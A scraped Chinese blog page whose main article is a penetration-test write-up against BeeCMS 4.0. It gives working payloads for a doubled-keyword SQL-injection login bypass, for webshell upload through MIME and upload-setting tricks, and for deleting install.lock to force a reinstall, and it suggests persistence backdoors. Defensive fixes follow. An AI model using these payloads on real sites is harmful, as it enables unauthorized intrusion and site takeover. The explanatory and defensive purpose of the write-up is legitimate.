news 2026/4/22 22:23:27

从一次真实的渗透测试说起:我是如何通过SQL注入拿下BeeCMS 4.0后台并上传Webshell的

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从一次真实的渗透测试说起:我是如何通过SQL注入拿下BeeCMS 4.0后台并上传Webshell的

实战剖析:BeeCMS 4.0安全漏洞链的完整利用路径

当阳光透过百叶窗在键盘上投下斑驳光影时,我正在对某企业官网进行常规渗透测试。这个使用BeeCMS 4.0搭建的网站看似普通,却意外成为了展示经典漏洞链的绝佳案例。本文将完整还原从发现漏洞到获取服务器权限的全过程,其中关键环节包括:

  1. 后台登录页的SQL注入漏洞利用
  2. 管理员会话伪造技术
  3. 双重文件上传绕过技巧
  4. 任意文件删除的连锁反应

1. 目标侦察与入口定位

任何有效的渗透测试都始于充分的信息收集。使用Wappalyzer插件快速识别出目标系统为BeeCMS 4.0后,我立即开始扫描典型目录结构:

/admin /install /data /includes

/admin/login.php发现后台登录页面时,注意到两个异常现象:

  • 页面响应头未返回常见的WAF标识
  • 登录失败提示暴露出用户名枚举漏洞

更关键的是,查看页面源码时发现表单提交地址为login.php?action=ck_login,这种传统PHP的参数传递方式往往意味着可能存在输入验证缺陷。

2. 突破认证防线:SQL注入实战

2.1 漏洞定位与分析

通过Burp Suite拦截登录请求,观察到POST数据为:

user=test&password=123456&submit=Login

审计admin/login.php源码时,发现关键安全缺陷:

$user=fl_html(fl_value($_POST['user'])); $password=fl_html(fl_value($_POST['password'])); check_login($user,$password);

其中fl_value()函数的过滤存在致命缺陷:

function fl_value($str){ return preg_replace('/select|insert|update|and|in|on|left|joins|delete|\%|\=|\/\*|\*|\.\.\/|\.\/|union|from|where|group|into|load_file|outfile/i','',$str); }

这种单次替换的过滤可通过双写绕过技术轻松突破。例如输入selselectect经过过滤后会变成select

2.2 构造高效Payload

使用报错注入技术验证漏洞,构造特殊用户名:

' and extractvalue(1,concat(0x7e,(database()))) #

当服务器返回包含数据库名的错误信息时,确认存在可利用的SQL注入漏洞。接着构造管理员账户伪造Payload:

user=-1'+uniselecton+selselectect+1,'admin','e10adc3949ba59abbe56e057f20f883e',0,0+%23&password=123456

这个Payload的精妙之处在于:

  • 使用union select构造虚拟管理员记录
  • e10adc3949ba59abbe56e057f20f883e123456的MD5值
  • %23编码的#符号注释掉后续SQL语句

成功登录后,浏览器跳转到后台管理界面,Session被成功设置为管理员身份。

3. 突破文件上传防御

3.1 图片上传绕过技巧

在后台的"图片管理"模块,上传PHP文件时遭遇拦截。分析admin/admin_pic_upload.php发现:

$value_arr=up_img($pic_info,$is_up_size, array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg','image/x-png'), $up_is_thumb,$up_thumb_width,$up_thumb_height,$logo=1,$pic_name_alt);

仅通过Burp Suite修改Content-Typeimage/jpeg即可绕过MIME类型检查。上传后的文件路径在响应HTML中暴露:

<img src="/upload/img/20230615123456.php" />

3.2 附件上传二次突破

更隐蔽的上传点位于admin/admin_upload.php,其校验逻辑为:

$type = array('zip','rar','doc','xls','pdf','txt'); $return_arr=up_file($file,$size,$type,$path='',$name='');

通过修改后台"系统设置"中的"允许上传类型",添加php扩展名后即可直接上传Webshell。文件最终保存在:

/upload/file/webshell-20230615123456.php

4. 权限维持与清理痕迹

4.1 任意文件删除漏洞利用

admin/admin_ajax.php中发现危险代码:

elseif($action=='del_pic'){ $file=CMS_PATH.'upload/'.$value; @unlink($file); die("图片成功删除"); }

构造Payload删除安装锁定文件:

/admin/admin_ajax.php?action=del_pic&value=../install/install.lock

4.2 系统重装攻击

删除锁定文件后,访问/install/目录可重新安装系统。虽然无法直接通过数据库配置写入Webshell,但可以:

  1. 修改SMTP配置为攻击者控制邮箱
  2. 篡改网站统计代码植入XSS
  3. 修改管理员密码建立持久后门

防御方案与最佳实践

针对这类传统CMS,建议采取以下防护措施:

  1. 输入验证层面

    • 使用PDO预处理语句替代SQL拼接
    • 实施多层级过滤(如:htmlspecialchars($str, ENT_QUOTES)
  2. 文件上传安全

    // 安全的文件类型校验示例 $allowed = ['jpg' => 'image/jpeg', 'png' => 'image/png']; $ext = pathinfo($filename, PATHINFO_EXTENSION); $finfo = new finfo(FILEINFO_MIME_TYPE); if(!array_key_exists($ext, $allowed) || $allowed[$ext] !== $finfo->file($_FILES['file']['tmp_name'])){ die('Invalid file type'); }
  3. 权限控制

    • 所有管理页面强制包含init.php
    • 实施CSRF Token机制
    • 对文件删除等危险操作要求二次认证

在渗透测试的最后阶段,我通过编写的自动化脚本批量检测了同源其他站点,发现超过60%的BeeCMS 4.0存在相同漏洞链。这提醒我们:老旧系统的定期安全审计不应成为被忽视的环节。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/22 22:23:21

从游戏碰撞检测到地图围栏:用Shapely玩转Python几何运算的3个实战项目

从游戏碰撞到地理围栏&#xff1a;Shapely几何运算的3个跨界实战 当你第一次听说Shapely这个Python库时&#xff0c;可能以为它只是地理信息系统&#xff08;GIS&#xff09;领域的专属工具。但事实上&#xff0c;这个轻量级库正在游戏开发、物联网、数据可视化等多个领域大放异…

作者头像 李华
网站建设 2026/4/22 22:20:20

网络不稳,很多时候不在交换机:通信系统安装的结构逻辑与落地

一、什么是通信系统安装&#xff1f;通信系统安装&#xff0c;是指在建筑、园区、厂房、数据机房、医院、学校、商业综合体以及各类工业与公共设施中&#xff0c;为实现语音、数据、图像、无线信号、监控信号和控制信息的可靠传输&#xff0c;而进行的设备部署、线路敷设、系统…

作者头像 李华
网站建设 2026/4/22 22:19:01

定制开发 vs 模板小程序

一、模板小程序现成成品&#xff0c;一键开通、上线快、初期价格低。功能固定无法深度修改&#xff0c;界面、流程、逻辑不能自定义。多为按年付费、账号租用&#xff0c;不含源码&#xff0c;版权不归自己。同质化严重&#xff0c;同行界面一模一样&#xff0c;无品牌差异化。…

作者头像 李华
网站建设 2026/4/22 22:18:46

量子计算脉冲调度技术与GRAMPUS语言设计

1. 量子脉冲调度基础与核心挑战量子计算中的脉冲调度技术是现代量子硬件控制的核心环节。简单来说&#xff0c;就像交响乐指挥家需要精确控制每个乐器的演奏时机和强度一样&#xff0c;脉冲调度负责协调量子芯片上各个量子比特的控制信号。但与经典计算不同&#xff0c;量子系统…

作者头像 李华
网站建设 2026/4/22 22:08:54

ESP-C3-12F内置USB烧录实测:比传统串口快多少?省时技巧与常见错误排查

ESP-C3-12F内置USB烧录实战&#xff1a;速度对比与高效排错指南 当开发板的LED第一次按照你的代码闪烁时&#xff0c;那种成就感是每个嵌入式开发者都熟悉的快乐。但在这之前&#xff0c;我们往往要经历无数次固件烧录的等待——尤其是当项目进入调试阶段&#xff0c;每次修改后…

作者头像 李华